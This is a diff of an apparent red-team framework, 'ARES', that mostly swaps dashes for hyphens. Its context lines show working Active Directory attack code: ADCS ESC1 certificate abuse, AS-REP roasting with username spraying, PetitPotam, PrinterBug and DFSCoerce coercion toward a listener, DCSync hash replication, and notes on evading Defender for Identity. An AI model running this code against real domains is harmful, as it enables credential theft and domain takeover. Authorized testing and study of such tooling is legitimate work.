diff --git a/ares/knowledge/base.py b/ares/knowledge/base.py
index 91ab138..e2a1c07 100644
--- a/ares/knowledge/base.py
+++ b/ares/knowledge/base.py
@@ -242,7 +242,7 @@ class EvidenceStore:
# Modules yang butuh konfirmasi eksplisit sebelum dieksekusi
-_HIGH_RISK_MODULES: set[str] = {"ad.dcsync"} # only dcsync: replicates ALL domain hashes — truly irreversible
+_HIGH_RISK_MODULES: set[str] = {"ad.dcsync"} # only dcsync: replicates ALL domain hashes - truly irreversible
# IP range yang selalu diblokir (cloud IMDS, loopback, link-local)
_ALWAYS_BLOCKED_CIDRS: list[str] = [
@@ -405,7 +405,7 @@ class OutcomeTracker:
finally:
fcntl.flock(lf.fileno(), fcntl.LOCK_UN)
except ImportError:
- # fcntl not available (Windows) — best-effort write
+ # fcntl not available (Windows) - best-effort write
self._path.write_text(_json.dumps(self._data, indent=2))
except Exception:
pass
@@ -420,7 +420,7 @@ class OutcomeTracker:
def success_rate(self, module_id: str) -> float:
rec = self._data.get(module_id)
if not rec or rec["total"] == 0:
- return 0.5 # neutral prior — no history yet
+ return 0.5 # neutral prior - no history yet
return rec["success"] / rec["total"]
def stats(self, module_id: str) -> dict[str, int | float]:
diff --git a/ares/marketplace/__init__.py b/ares/marketplace/__init__.py
index 967742c..dc7bf54 100644
--- a/ares/marketplace/__init__.py
+++ b/ares/marketplace/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — marketplace
+ARES - marketplace
Module marketplace installer
Public API for this package. Import from here in production code:
diff --git a/ares/marketplace/installer.py b/ares/marketplace/installer.py
index af3f07d..f7de090 100644
--- a/ares/marketplace/installer.py
+++ b/ares/marketplace/installer.py
@@ -54,7 +54,7 @@ REGISTRY_FILE = Path.home() / ".ares" / "plugins" / "registry.json"
# Community module index
COMMUNITY_INDEX_URL = "https://raw.githubusercontent.com/ares-framework/modules/main/index.json"
-# Bundled offline index — always available, no internet required.
+# Bundled offline index - always available, no internet required.
# `ares module search` and CLI work fully offline using this index.
# Live fetch overlays additional community modules when ARES_MARKETPLACE_LIVE=true.
_BUNDLED_INDEX: "dict" = {
@@ -62,7 +62,7 @@ _BUNDLED_INDEX: "dict" = {
"source": "bundled",
"modules": [
{"id": "ad.kerberoast", "name": "Kerberoasting", "category": "ad",
- "description": "Request TGS tickets for SPN accounts — hashcat-ready hashes",
+ "description": "Request TGS tickets for SPN accounts - hashcat-ready hashes",
"opsec": "medium", "requires": ["domain_creds"], "outputs": ["kerberos_hashes"],
"mitre": ["T1558.003"], "builtin": True},
{"id": "ad.asreproast", "name": "ASREPRoasting", "category": "ad",
@@ -102,7 +102,7 @@ _BUNDLED_INDEX: "dict" = {
"opsec": "low", "requires": [], "outputs": [],
"mitre": ["T1526", "T1530", "T1552.005"], "builtin": True},
{"id": "linux.privesc", "name": "Linux Privilege Escalation","category": "linux",
- "description": "SUID, sudo, cron, capabilities, writable PATH — local or remote SSH",
+ "description": "SUID, sudo, cron, capabilities, writable PATH - local or remote SSH",
"opsec": "medium", "requires": [], "outputs": ["privesc_vectors"],
"mitre": ["T1548.001", "T1053.003", "T1574.006"], "builtin": True},
{"id": "linux.container", "name": "Container Escape", "category": "linux",
@@ -126,7 +126,7 @@ _BUNDLED_INDEX: "dict" = {
"opsec": "low", "requires": ["ssh_access", "ssh_credentials"],
"outputs": ["lateral_session", "socks5_proxy"], "mitre": ["T1021.004"], "builtin": True},
{"id": "lateral.rdp", "name": "RDP Lateral", "category": "lateral",
- "description": "RDP lateral movement — high noise",
+ "description": "RDP lateral movement - high noise",
"opsec": "high_noise", "requires": ["rdp_access", "domain_creds"],
"outputs": ["lateral_session"], "mitre": ["T1021.001"], "builtin": True},
{"id": "exfil.smb_shares", "name": "SMB Share Enumeration", "category": "exfil",
@@ -174,7 +174,7 @@ _BUNDLED_INDEX: "dict" = {
"mitre": ["T1046","T1590"], "builtin": True},
# ── Windows modules ──
{"id": "windows.token_impersonation","name": "Token Impersonation","category": "windows",
- "description": "Detect SeImpersonatePrivilege — prerequisite for Potato-family LPE",
+ "description": "Detect SeImpersonatePrivilege - prerequisite for Potato-family LPE",
"opsec": "medium", "requires": ["lateral_session"], "outputs": ["privesc_vectors"],
"mitre": ["T1134.001", "T1134.002"], "builtin": True},
{"id": "windows.lsa_secrets", "name": "LSA Secrets & SAM Dump", "category": "windows",
@@ -183,12 +183,12 @@ _BUNDLED_INDEX: "dict" = {
"mitre": ["T1003.002", "T1003.004"], "builtin": True},
# ── Linux extra modules ──
{"id": "linux.kernel_suggester","name": "Kernel Exploit Suggester","category": "linux",
- "description": "Map kernel version to known LPE CVEs — detection only, no exploitation",
+ "description": "Map kernel version to known LPE CVEs - detection only, no exploitation",
"opsec": "low", "requires": ["ssh_credentials"], "outputs": ["privesc_vectors"],
"mitre": ["T1068", "T1082"], "builtin": True},
# ── Credential extra modules ──
{"id": "credential.golden_ticket","name": "Golden Ticket Forgery", "category": "credential",
- "description": "Forge Kerberos TGT using krbtgt hash — persistent domain access",
+ "description": "Forge Kerberos TGT using krbtgt hash - persistent domain access",
"opsec": "medium", "requires": ["ntlm_hashes", "domain_admin_creds"], "outputs": ["golden_ticket"],
"mitre": ["T1558.001"], "builtin": True},
{"id": "credential.pass_the_hash","name": "Pass-the-Hash", "category": "credential",
@@ -223,7 +223,7 @@ _BUNDLED_INDEX: "dict" = {
],
}
-# Live community index — fetched from GitHub when ARES_MARKETPLACE_LIVE=true.
+# Live community index - fetched from GitHub when ARES_MARKETPLACE_LIVE=true.
# Disabled by default: the public ares-framework/modules repo is not yet published.
# Enable: export ARES_MARKETPLACE_LIVE=true
import os as _os
@@ -415,7 +415,7 @@ class ModuleInstaller:
source_url = entry.get("source_url", "")
if not source_url:
- raise ValueError(f"No source URL recorded for '{module_id}' — cannot auto-update")
+ raise ValueError(f"No source URL recorded for '{module_id}' - cannot auto-update")
self.uninstall(module_id)
return self.install(source_url, force=True)
@@ -470,7 +470,7 @@ class ModuleInstaller:
if sidecar.exists():
import json as _json
return _json.loads(sidecar.read_text())
- # No sidecar — cannot extract sha256 from source alone
+ # No sidecar - cannot extract sha256 from source alone
return None
except Exception:
return None
@@ -480,7 +480,7 @@ class ModuleInstaller:
if not verify_signature:
logger.warning("marketplace_url_install_unverified",
url=url,
- risk="Module downloaded without signature verification — supply chain risk")
+ risk="Module downloaded without signature verification - supply chain risk")
with tempfile.TemporaryDirectory() as tmp:
local = Path(tmp) / "module.py"
try:
@@ -491,11 +491,11 @@ class ModuleInstaller:
resp.raise_for_status()
local.write_bytes(resp.content)
except ImportError:
- # httpx always in deps — this is a safety net only
+ # httpx always in deps - this is a safety net only
urllib.request.urlretrieve(url, str(local))
except Exception as e:
raise ConnectionError(f"Failed to download {url}: {e}") from e
- # Verify BEFORE installing — if hash fails, file never touches plugin dir
+ # Verify BEFORE installing - if hash fails, file never touches plugin dir
if verify_signature and local.exists():
# Read manifest from tmp file to get sha256 without installing
_tmp_manifest = self._read_manifest_from_file(local)
@@ -513,7 +513,7 @@ class ModuleInstaller:
else:
logger.warning(
"marketplace_no_signature: module has no sha256 in manifest "
- "— cannot verify integrity. Set verify_signature=False to silence.",
+ " - cannot verify integrity. Set verify_signature=False to silence.",
url=url,
)
manifest = self._install_single_file(local, source_url=url, force=force)
@@ -588,7 +588,7 @@ class ModuleInstaller:
if not deps:
return
- # Allowlist regex — rejects pip flags (--index-url, etc.) and shell injection
+ # Allowlist regex - rejects pip flags (--index-url, etc.) and shell injection
import re
_DEP_RE = re.compile(
r"^[a-zA-Z0-9]" # must start with alphanumeric
@@ -600,7 +600,7 @@ class ModuleInstaller:
invalid = [d for d in deps if not _DEP_RE.match(d)]
if invalid:
raise ValueError(
- f"Dependency validation failed — rejected unsafe dep string(s): {invalid}. "
+ f"Dependency validation failed - rejected unsafe dep string(s): {invalid}. "
"Only PEP 508 package specifiers are allowed (no flags, no URLs, no shell)."
)
@@ -610,7 +610,7 @@ class ModuleInstaller:
[sys.executable, "-m", "pip", "install", "--quiet",
"--break-system-packages", *deps],
check=True,
- timeout=300, # 5 minutes max — prevents hang on network issues
+ timeout=300, # 5 minutes max - prevents hang on network issues
)
def _infer_manifest_from_file(self, path: Path, source_url: str = "") -> ModuleManifest:
@@ -649,7 +649,7 @@ class ModuleInstaller:
def _detect_source(source: str) -> str:
if source.startswith(("./", "/", "../")) or Path(source).exists():
return "local"
- if source.startswith("https://"): # http:// rejected — MITM risk
+ if source.startswith("https://"): # http:// rejected - MITM risk
return "url"
if source.startswith("github.com/"):
return "github"
@@ -662,7 +662,7 @@ class ModuleInstaller:
Priority:
1. Live GitHub index (only when ARES_MARKETPLACE_LIVE=true)
- 2. Bundled offline index (always available — shipped with ARES)
+ 2. Bundled offline index (always available - shipped with ARES)
The bundled index contains all 22 built-in modules so `ares module search`
and `ares module list` work fully offline without any internet access.
@@ -685,5 +685,5 @@ class ModuleInstaller:
except Exception as exc:
logger.warning("marketplace_live_index_failed", error=str(exc)[:100],
fallback="bundled_index")
- # Offline fallback — always works
+ # Offline fallback - always works
return _BUNDLED_INDEX
diff --git a/ares/modules/__init__.py b/ares/modules/__init__.py
index 0089c97..b20aa0d 100644
--- a/ares/modules/__init__.py
+++ b/ares/modules/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules
+ARES - modules
Module base class and result types.
Public API:
diff --git a/ares/modules/ad/__init__.py b/ares/modules/ad/__init__.py
index d8d2cd3..df6fd45 100644
--- a/ares/modules/ad/__init__.py
+++ b/ares/modules/ad/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.ad
+ARES - modules.ad
Active Directory attack and enumeration modules
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/ad/adcs.py b/ares/modules/ad/adcs.py
index 6ae2061..bf1537d 100644
--- a/ares/modules/ad/adcs.py
+++ b/ares/modules/ad/adcs.py
@@ -1,22 +1,22 @@
"""
-ADCS Misconfiguration Detection & Exploitation — ad.adcs
-MITRE: T1649 — Steal or Forge Authentication Certificates
+ADCS Misconfiguration Detection & Exploitation - ad.adcs
+MITRE: T1649 - Steal or Forge Authentication Certificates
Active Directory Certificate Services (ADCS) misconfiguration scanner.
Detects ESC1–ESC8 vulnerability classes via LDAP query to certificate
template objects. Exploits ESC1 to obtain a certificate as Domain Admin.
ESC vulnerability classes:
- ESC1 — Template allows enrollee-supplied SAN → cert as any user including DA
- ESC2 — Template has Any Purpose EKU → usable for auth as any user
- ESC3 — Template allows enrollment agent → request certs on behalf of others
- ESC4 — Template has dangerous ACL (WriteDACL/WriteOwner/GenericWrite)
- ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA → any cert can have SAN
- ESC7 — CA has dangerous ACL → escalation to CA admin
- ESC8 — NTLM relay to AD CS HTTP enrollment endpoint
+ ESC1 - Template allows enrollee-supplied SAN → cert as any user including DA
+ ESC2 - Template has Any Purpose EKU → usable for auth as any user
+ ESC3 - Template allows enrollment agent → request certs on behalf of others
+ ESC4 - Template has dangerous ACL (WriteDACL/WriteOwner/GenericWrite)
+ ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA → any cert can have SAN
+ ESC7 - CA has dangerous ACL → escalation to CA admin
+ ESC8 - NTLM relay to AD CS HTTP enrollment endpoint
Output: ESC finding per vulnerability + PEM certificate to vault if ESC1 exploited.
-OPSEC: LOW — LDAP query only. No connection to CA server unless ESC1 exploited.
+OPSEC: LOW - LDAP query only. No connection to CA server unless ESC1 exploited.
"""
from __future__ import annotations
@@ -74,7 +74,7 @@ _DANGEROUS_RIGHTS = {
)
class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
"""
- ad.adcs — Detect ADCS ESC1–ESC8 misconfigurations via LDAP. Exploit ESC1 to obtain a certificate as any us
+ ad.adcs - Detect ADCS ESC1–ESC8 misconfigurations via LDAP. Exploit ESC1 to obtain a certificate as any us
OPSEC: LOW
MITRE: "T1649"
@@ -161,7 +161,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
)
if not ad["username"]:
raise ModuleValidationError(
- "ad.adcs requires domain credentials — pass 'username'/'password'.",
+ "ad.adcs requires domain credentials - pass 'username'/'password'.",
module_id=self.MODULE_ID, field="username",
)
if isinstance(ctx.params, dict):
@@ -320,7 +320,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
if esc1_vulns:
for tmpl in esc1_vulns:
self.finding(
- title = f"ADCS ESC1 — Enrollee SAN in '{tmpl['name']}'",
+ title = f"ADCS ESC1 - Enrollee SAN in '{tmpl['name']}'",
description = (
f"Certificate template '{tmpl['name']}' allows the enrollee to "
"specify a Subject Alternative Name (SAN). Combined with an "
@@ -346,16 +346,16 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
"1. Disable 'Supply in the request' for Subject Name in the template. "
"2. Enable CA Manager Approval. "
"3. Enable Issuance Requirements (authorized signatures). "
- "4. Audit template ACL — restrict enrollment rights."
+ "4. Audit template ACL - restrict enrollment rights."
),
)
if esc2_vulns:
for tmpl in esc2_vulns:
self.finding(
- title = f"ADCS ESC2 — Any Purpose EKU in '{tmpl['name']}'",
+ title = f"ADCS ESC2 - Any Purpose EKU in '{tmpl['name']}'",
description = (
- f"Template '{tmpl['name']}' has Any Purpose EKU — "
+ f"Template '{tmpl['name']}' has Any Purpose EKU - "
"certificates can be used for any application including authentication."
),
severity = Severity.HIGH,
@@ -368,14 +368,14 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
if not esc1_vulns and not esc2_vulns:
logger.info("adcs_no_esc_found", templates_checked=len(templates))
- # Step 4: ESC1 evaluation (Audit Assessment Mode — non-intrusive)
+ # Step 4: ESC1 evaluation (Audit Assessment Mode - non-intrusive)
cert_path = ""
if exploit_esc1 and esc1_vulns:
tmpl = esc1_vulns[0]
logger.info("adcs_esc1_audit_assessment",
template=tmpl["name"], target_user=target_user)
self.finding(
- title = f"ADCS ESC1 Vulnerability Confirmed — Template '{tmpl['name']}'",
+ title = f"ADCS ESC1 Vulnerability Confirmed - Template '{tmpl['name']}'",
description = (
f"Template '{tmpl['name']}' is confirmed vulnerable to ESC1 (SAN specification allowed "
f"with authentication EKU). An adversary can request a certificate impersonating "
@@ -411,7 +411,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
def _enum_templates_sync(self, dc: str, username: str, password: str,
domain: str) -> tuple[list[dict], list[dict]]:
- """Query LDAP for certificate templates and CA objects. Sync — runs in executor."""
+ """Query LDAP for certificate templates and CA objects. Sync - runs in executor."""
import ssl
import ldap3
from ldap3 import Server, Connection, ALL, NTLM, SUBTREE, Tls
@@ -597,7 +597,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
logger.info("adcs_cert_obtained", path=pfx_out, user=target_user)
return pfx_out
else:
- # CA submission failed — return CSR path for manual submission
+ # CA submission failed - return CSR path for manual submission
logger.warning("adcs_ca_submission_failed",
ca_host=ca_host, csr_path=csr_path)
return csr_path # operator can submit manually via certreq.exe
@@ -612,7 +612,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
finally:
# Cleanup intermediate files containing private key material.
# The RETURNED file (pfx_out or csr_path) is intentionally kept
- # for operator use — only clean up files that are NOT the return value.
+ # for operator use - only clean up files that are NOT the return value.
for tmp in [pfx_path, key_path]:
try:
if tmp and os.path.exists(tmp):
@@ -635,7 +635,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
import httpx
from base64 import b64encode
- # Strip PEM headers for certsrv — it expects raw base64
+ # Strip PEM headers for certsrv - it expects raw base64
csr_b64 = b64encode(
b"".join(
line.encode() for line in csr_pem.decode().splitlines()
@@ -656,7 +656,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
"adcs_ntlm_auth_missing",
hint="pip install httpx-ntlm (included in ares-redteam[ad]) "
"for NTLM-authenticated CA enrollment. "
- "Falling back to basic auth — may fail on most CAs.",
+ "Falling back to basic auth - may fail on most CAs.",
)
# Fallback to basic auth (works if CA has basic auth enabled)
auth = (username, password)
@@ -687,7 +687,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
import re
rid_match = re.search(r"ReqID=(\d+)", resp.text)
if not rid_match:
- # May have been issued immediately — check for cert in response
+ # May have been issued immediately - check for cert in response
if "BEGIN CERTIFICATE" in resp.text:
cert_match = re.search(
r"(-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----)",
@@ -710,7 +710,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
if cert_resp.status_code == 200 and cert_resp.text.strip():
cert_text = cert_resp.text.strip()
if not cert_text.startswith("-----"):
- # Raw base64 — wrap in PEM headers
+ # Raw base64 - wrap in PEM headers
cert_text = (
"-----BEGIN CERTIFICATE-----\n"
+ cert_text + "\n"
@@ -754,7 +754,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
from cryptography import x509
from cryptography.hazmat.primitives import hashes
- # Parse PEM — file contains both cert and key
+ # Parse PEM - file contains both cert and key
pem_text = pem_data.decode("utf-8", errors="replace")
cert_pem = ""
key_pem = ""
@@ -833,7 +833,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):
user=target_user, ccache=ccache_path)
except Exception as pkinit_exc:
- # Fallback: PFX still on disk for manual use — log warning
+ # Fallback: PFX still on disk for manual use - log warning
result["error"] = (
f"PKINIT auth failed: {str(pkinit_exc)[:150]}. "
f"Use cert manually: gettgtpkinit.py -cert-pfx <pfx> "
diff --git a/ares/modules/ad/asreproast.py b/ares/modules/ad/asreproast.py
index f856c8f..3f2bbd0 100644
--- a/ares/modules/ad/asreproast.py
+++ b/ares/modules/ad/asreproast.py
@@ -2,16 +2,16 @@ from __future__ import annotations
import asyncio
import re
"""
-ASREPRoasting — impacket.krb5.kerberosv5 low-level API (impacket >=0.11 compatible)
-MITRE: T1558.004 — Works fully unauthenticated with username list.
+ASREPRoasting - impacket.krb5.kerberosv5 low-level API (impacket >=0.11 compatible)
+MITRE: T1558.004 - Works fully unauthenticated with username list.
3 input modes:
- 1. AUTHENTICATED — have creds -> LDAP query for noPreauth accounts (precise)
- 2. USERFILE — have file -> spray usernames from file (no creds needed)
- 3. USERNAMES — have list -> spray usernames from params (no creds needed)
+ 1. AUTHENTICATED - have creds -> LDAP query for noPreauth accounts (precise)
+ 2. USERFILE - have file -> spray usernames from file (no creds needed)
+ 3. USERNAMES - have list -> spray usernames from params (no creds needed)
Fix Bug 1: Drop GetNPUsers (impacket example script, broken in >=0.11).
- Use getKerberosTGT with password=\'\' directly — unauthenticated AS-REQ.
+ Use getKerberosTGT with password=\'\' directly - unauthenticated AS-REQ.
Fix Bug 2: Implement all 3 modes. No credentials required for userfile/usernames.
Fix Bug 3: Per-request jitter via noise.jitter.sleep(), not post-hoc batch sleep.
"""
@@ -67,7 +67,7 @@ def _capture_asrep_raw(dc: str, domain: str, username: str) -> bytes | None:
username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value,
)
- # No padata — no pre-auth. If account has DONT_REQUIRE_PREAUTH, KDC responds with AS-REP.
+ # No padata - no pre-auth. If account has DONT_REQUIRE_PREAUTH, KDC responds with AS-REP.
raw_rep, _cipher, _key, _session_key = getKerberosTGT(
client,
@@ -218,7 +218,7 @@ def classify_asrep_request_error(exc: BaseException) -> tuple[str, str]:
)
class ASREPRoastModule(BaseModule[ASREPRoastParams, ModuleResult]):
"""
- ad.asreproast — Capture AS-REP hashes from accounts without Kerberos pre-auth
+ ad.asreproast - Capture AS-REP hashes from accounts without Kerberos pre-auth
OPSEC: LOW
MITRE: "T1558.004"
@@ -495,7 +495,7 @@ class ASREPRoastModule(BaseModule[ASREPRoastParams, ModuleResult]):
self, dc, domain, username, password, userfile, usernames, mode
):
"""
- Low-level impacket implementation — no wrapper scripts.
+ Low-level impacket implementation - no wrapper scripts.
For unauthenticated AS-REQ: send getKerberosTGT with password=''.
KDC_ERR_PREAUTH_REQUIRED -> account exists, NOT vulnerable
@@ -541,7 +541,7 @@ class ASREPRoastModule(BaseModule[ASREPRoastParams, ModuleResult]):
def _try_asreq(u=uname):
"""
Issue #4 fix: use sendReceive directly to capture raw AS-REP wire bytes.
- getKerberosTGT() parses the response before returning — tgt[0] is
+ getKerberosTGT() parses the response before returning - tgt[0] is
a parsed TGT object, not raw AS-REP bytes. _format_krb5asrep_hash()
needs raw bytes to extract enc-part for hashcat.
"""
@@ -710,7 +710,7 @@ class ASREPRoastModule(BaseModule[ASREPRoastParams, ModuleResult]):
self.finding(
title = f"ASREPRoast Hashes Captured ({len(hashes)})",
description = (
- f"Captured {len(hashes)} AS-REP hashes — crackable offline without "
+ f"Captured {len(hashes)} AS-REP hashes - crackable offline without "
"domain credentials. hashcat mode 18200."
),
severity = Severity.HIGH,
diff --git a/ares/modules/ad/coerce.py b/ares/modules/ad/coerce.py
index 000cff9..c477608 100644
--- a/ares/modules/ad/coerce.py
+++ b/ares/modules/ad/coerce.py
@@ -1,15 +1,15 @@
"""
-Authentication Coercion — ad.coerce
-MITRE: T1187 — Forced Authentication
+Authentication Coercion - ad.coerce
+MITRE: T1187 - Forced Authentication
Forces a target machine (typically DC) to authenticate to an attacker-controlled
listener via three RPC methods. Used with lateral.smb_relay to capture and relay
the machine account's NTLM hash.
Three coercion methods:
- PetitPotam (MS-EFSRPC) — EfsRpcOpenFileRaw, works unauthenticated on unpatched
- PrinterBug (MS-RPRN) — RpcRemoteFindFirstPrinterChangeNotification, needs domain creds
- DFSCoerce (MS-DFSNM) — NetrDfsAddStdRoot, needs domain creds
+ PetitPotam (MS-EFSRPC) - EfsRpcOpenFileRaw, works unauthenticated on unpatched
+ PrinterBug (MS-RPRN) - RpcRemoteFindFirstPrinterChangeNotification, needs domain creds
+ DFSCoerce (MS-DFSNM) - NetrDfsAddStdRoot, needs domain creds
Attack chain:
lateral.smb_relay running (listener on attacker IP:445) →
@@ -17,7 +17,7 @@ Attack chain:
smb_relay captures DC machine account NTLM →
relay to LDAP/SMB for DA-level access or DCSync
-OPSEC: HIGH — MS-EFSRPC/MS-RPRN RPC call triggers MDI alert within seconds.
+OPSEC: HIGH - MS-EFSRPC/MS-RPRN RPC call triggers MDI alert within seconds.
Blocked in STEALTH profile. Always use with smb_relay active.
"""
from __future__ import annotations
@@ -57,7 +57,7 @@ logger = get_logger("ares.modules.ad.coerce")
)
class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
"""
- ad.coerce — Force target to authenticate to attacker listener via PetitPotam (MS-EFSRPC
+ ad.coerce - Force target to authenticate to attacker listener via PetitPotam (MS-EFSRPC
OPSEC: HIGH_NOISE
MITRE: "T1187"
@@ -85,11 +85,11 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
if not isinstance(ctx, ExecutionContext):
return
- # Stealth block — MDI triggers in seconds
+ # Stealth block - MDI triggers in seconds
noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
if noise == NoiseProfile.STEALTH:
raise ModuleValidationError(
- "ad.coerce is blocked in STEALTH profile — "
+ "ad.coerce is blocked in STEALTH profile - "
"MS-EFSRPC/MS-RPRN RPC calls trigger Microsoft Defender for Identity "
"alerts within seconds. Use NORMAL or AGGRESSIVE profile.",
module_id=self.MODULE_ID, field="noise_profile",
@@ -98,12 +98,12 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
ad = self._extract_ad_params(ctx)
if not ad["dc"]:
raise ModuleValidationError(
- "ad.coerce requires 'dc' — IP of the target to coerce.",
+ "ad.coerce requires 'dc' - IP of the target to coerce.",
module_id=self.MODULE_ID, field="dc",
)
if not ctx.params.get("listener_ip"):
raise ModuleValidationError(
- "ad.coerce requires 'listener_ip' — IP of your smb_relay listener. "
+ "ad.coerce requires 'listener_ip' - IP of your smb_relay listener. "
"Start lateral.smb_relay first, then run ad.coerce.",
module_id=self.MODULE_ID, field="listener_ip",
)
@@ -221,7 +221,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
await self.before_request(dc, "default")
logger.warning("coerce_start",
target=dc, listener=listener_ip, method=method,
- msg="HIGH_NOISE — TRIGGERS_MDI")
+ msg="HIGH_NOISE - TRIGGERS_MDI")
audit("authentication_coercion", actor=username or "operator",
technique="T1187", source="operator",
target=dc, detail=f"listener={listener_ip} method={method}")
@@ -298,7 +298,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
)
else:
self.finding(
- title = f"Coercion Attempted on {dc} — No Confirmation",
+ title = f"Coercion Attempted on {dc} - No Confirmation",
description = (
"Authentication coercion RPC call sent but no confirmation received. "
"Check lateral.smb_relay for captured credentials."
@@ -321,7 +321,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
def _petitpotam_sync(self, dc: str, listener_ip: str,
username: str, password: str, domain: str) -> bool:
- """MS-EFSRPC: EfsRpcOpenFileRaw — works unauthenticated on unpatched systems."""
+ """MS-EFSRPC: EfsRpcOpenFileRaw - works unauthenticated on unpatched systems."""
try:
from impacket.dcerpc.v5 import transport, efsrpc
from impacket.dcerpc.v5.rpcrt import DCERPCException
@@ -343,7 +343,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
try:
efsrpc.hEfsRpcOpenFileRaw(dce, unc_path, 0)
except DCERPCException:
- pass # expected — DC will attempt auth before this fails
+ pass # expected - DC will attempt auth before this fails
finally:
try:
dce.disconnect()
@@ -356,7 +356,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
def _printerbug_sync(self, dc: str, listener_ip: str,
username: str, password: str, domain: str) -> bool:
- """MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification — needs domain creds."""
+ """MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - needs domain creds."""
try:
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.dtypes import NULL
@@ -382,7 +382,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
dce, handle, 0x00000100, 0, f"\\\\{listener_ip}", NULL
)
except DCERPCException:
- pass # expected error — trigger happened
+ pass # expected error - trigger happened
finally:
try:
rprn.hRpcClosePrinter(dce, handle)
@@ -396,7 +396,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
def _dfscoerce_sync(self, dc: str, listener_ip: str,
username: str, password: str, domain: str) -> bool:
- """MS-DFSNM: NetrDfsAddStdRoot — needs domain creds."""
+ """MS-DFSNM: NetrDfsAddStdRoot - needs domain creds."""
try:
from impacket.dcerpc.v5 import transport, dfsnm
from impacket.dcerpc.v5.rpcrt import DCERPCException
@@ -414,7 +414,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):
try:
dfsnm.hNetrDfsAddStdRoot(dce, f"\\\\{listener_ip}\\share", "share", 0)
except DCERPCException:
- pass # expected — trigger happened
+ pass # expected - trigger happened
finally:
try:
dce.disconnect()
diff --git a/ares/modules/ad/dcsync.py b/ares/modules/ad/dcsync.py
index fcea72a..26ac7f8 100644
--- a/ares/modules/ad/dcsync.py
+++ b/ares/modules/ad/dcsync.py
@@ -1,7 +1,7 @@
"""
-DCSync — Production Implementation using impacket.secretsdump
-MITRE: T1003.006 — Replicates NTLM hashes via MS-DRSR.
-⚠️ Very noisy — auto-blocked in STEALTH profile. Triggers MDI in seconds.
+DCSync - Production Implementation using impacket.secretsdump
+MITRE: T1003.006 - Replicates NTLM hashes via MS-DRSR.
+⚠️ Very noisy - auto-blocked in STEALTH profile. Triggers MDI in seconds.
"""
from __future__ import annotations
from typing import Any
@@ -36,7 +36,7 @@ from ares.sdk import (
)
class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):
"""
- ad.dcsync — Replicate domain hashes via MS-DRSR (requires DA or replication rights)
+ ad.dcsync - Replicate domain hashes via MS-DRSR (requires DA or replication rights)
OPSEC: HIGH_NOISE
MITRE: "T1003.006"
@@ -49,7 +49,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):
MODULE_DESCRIPTION = "Replicate domain hashes via MS-DRSR (requires DA or replication rights)"
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.HIGH_NOISE
- MIN_NOISE_PROFILE = "normal" # blocked in stealth — triggers Microsoft Defender for Identity
+ MIN_NOISE_PROFILE = "normal" # blocked in stealth - triggers Microsoft Defender for Identity
REQUIRES = ["domain_admin_creds"]
OUTPUTS = ["ntlm_hashes"]
MITRE_TECHNIQUES = ["T1003.006"]
@@ -113,7 +113,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):
async def validate(self, ctx: "Any") -> None:
"""
Enforce dc, domain, domain-admin credentials, and noise profile.
- DCSync requires DA-level credentials — catch misconfigured runs early.
+ DCSync requires DA-level credentials - catch misconfigured runs early.
"""
from ares.core.context import ExecutionContext
from ares.core.errors import ModuleValidationError
@@ -133,15 +133,15 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):
)
if not ad["username"]:
raise ModuleValidationError(
- "ad.dcsync requires Domain Admin credentials — "
+ "ad.dcsync requires Domain Admin credentials - "
"pass 'username'/'password' in params or provide a DA vault credential.",
module_id=self.MODULE_ID, field="username",
)
- # Stealth check — surface this before any connection is attempted
+ # Stealth check - surface this before any connection is attempted
noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
if noise == NoiseProfile.STEALTH:
raise ModuleValidationError(
- "ad.dcsync is blocked in STEALTH noise profile — "
+ "ad.dcsync is blocked in STEALTH noise profile - "
"MS-DRSR replication from non-DC triggers Microsoft Defender for Identity "
"immediately. Use NORMAL or AGGRESSIVE profile.",
module_id=self.MODULE_ID, field="noise_profile",
@@ -253,7 +253,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):
